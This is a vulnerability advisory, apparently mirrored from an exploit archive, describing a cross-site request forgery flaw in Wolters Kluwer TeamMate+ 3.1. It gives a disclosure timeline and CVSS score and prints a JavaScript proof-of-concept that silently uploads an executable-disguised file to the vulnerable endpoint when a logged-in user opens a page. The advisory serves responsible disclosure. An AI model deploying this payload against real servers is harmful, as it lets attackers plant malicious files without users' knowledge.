Wolters Kluwer TeamMate+ 3.1 Cross Site Request Forgery

Wolters Kluwer TeamMate+ version 3.1 with internal version suffers from a cross site request forgery vulnerability.

MD5 | 8e79c9f9e7d3f10bb6e50f9f9490a6b4


Wolters Kluwer TeamMate+ – Cross-Site Request Forgery (CSRF) vulnerability


Name: Bhadresh Patel





19/03/2019 (dd/mm/yyyy)


Wolters Kluwer is a global leader in professional information, software solutions, and services for the health, tax & accounting, finance, risk & compliance, and legal sectors. We help our customers make critical decisions every day by providing expert solutions that combine deep domain knowledge with specialized technology and services.

Vendor link: http://www.teammatesolutions.com/about-us.aspx

Vulnerable Product:


TeamMate Global Audit Solutions, part of the Tax and Accounting Division of Wolters Kluwer, helps professionals in all industries at organizations around the world manage audit and compliance risks and business issues by providing targeted, configurable, and efficient software solutions. Solutions include TeamMate+ Audit, TeamMate+ Controls, and TeamMate Analytics. Together, this ecosystem of solutions provides organizations with the combined assurance they need to manage all aspects of risk identification and assessment, electronic working paper creation and management, controls framework management, and data analysis.


Cross-Site Request Forgery (CSRF) vulnerability in TeamMate+ could allow an attacker to upload malicious/forged files on TeamMate server or replace existing uploaded files with malicious/forged files by enticing authenticated user to visit attacker page.



19/03/2019: Vendor notified

19/03/2019: Vendor responded requesting further information

20/03/2019: Further technical information with PoC was shared with vendor

01/07/2019: Vendor fixed the issue in version 3.2

Affected Software Version:

<= TeamMate January 2019 (Version 3.1) (Internal Version:



Severity Rating (CVSS):

4.3 (Medium) (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N)





A Cross-Site Request Forgery (CSRF) vulnerability is discovered in TeamMate+ which allows a remote attacker to modify application data (upload malicious/forged files on TeamMate server or replace existing uploaded files with malicious/forged files) without victim's knowledge by enticing authenticated user to visit attacker page/URL.

The specific flaw exists within the handling of request to “DomainObjectDocumentUpload.ashx” application. An application failed to validate CSRF token before handling the POST request.

Vulnerable module/page/application: /TeamMate/Upload/DomainObjectDocumentUpload.ashx

PoC Exploit code:


<body onload="submitRequest()">


function submitRequest()


var xhr = new XMLHttpRequest();

xhr.open("POST", "https://<ServerIP>/TeamMate/Upload/DomainObjectDocumentUpload.ashx", true);

xhr.setRequestHeader("Accept", "text/html, */*; q=0.01");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9,ar;q=0.8");

xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryNA930lURoQYsoTOn");

xhr.withCredentials = true;

var body = "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

"Content-Disposition: form-data; name=\"fileObjectId\"\r\n" +

"\r\n" +

"0\r\n" +

"------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

"Content-Disposition: form-data; name=\"parentId\"\r\n" +

"\r\n" +

"1373\r\n" +

"------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

"Content-Disposition: form-data; name=\"AssessmentId\"\r\n" +

"\r\n" +

"34\r\n" +

"------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

"Content-Disposition: form-data; name=\"ProjectId\"\r\n" +

"\r\n" +

"1106\r\n" +

"------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

"Content-Disposition: form-data; name=\"ParentNodeType\"\r\n" +

"\r\n" +

"50\r\n" +

"------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

"Content-Disposition: form-data; name=\"DocumentParentObjectType\"\r\n" +

"\r\n" +

"90\r\n" +

"------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

"Content-Disposition: form-data; name=\"files[]\"; filename=\"Report.txt\"\r\n" +

"Content-Type: application/x-msdownload\r\n" +

"\r\n" +

"MZP\r\n" +


var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));







Bhadresh Patel

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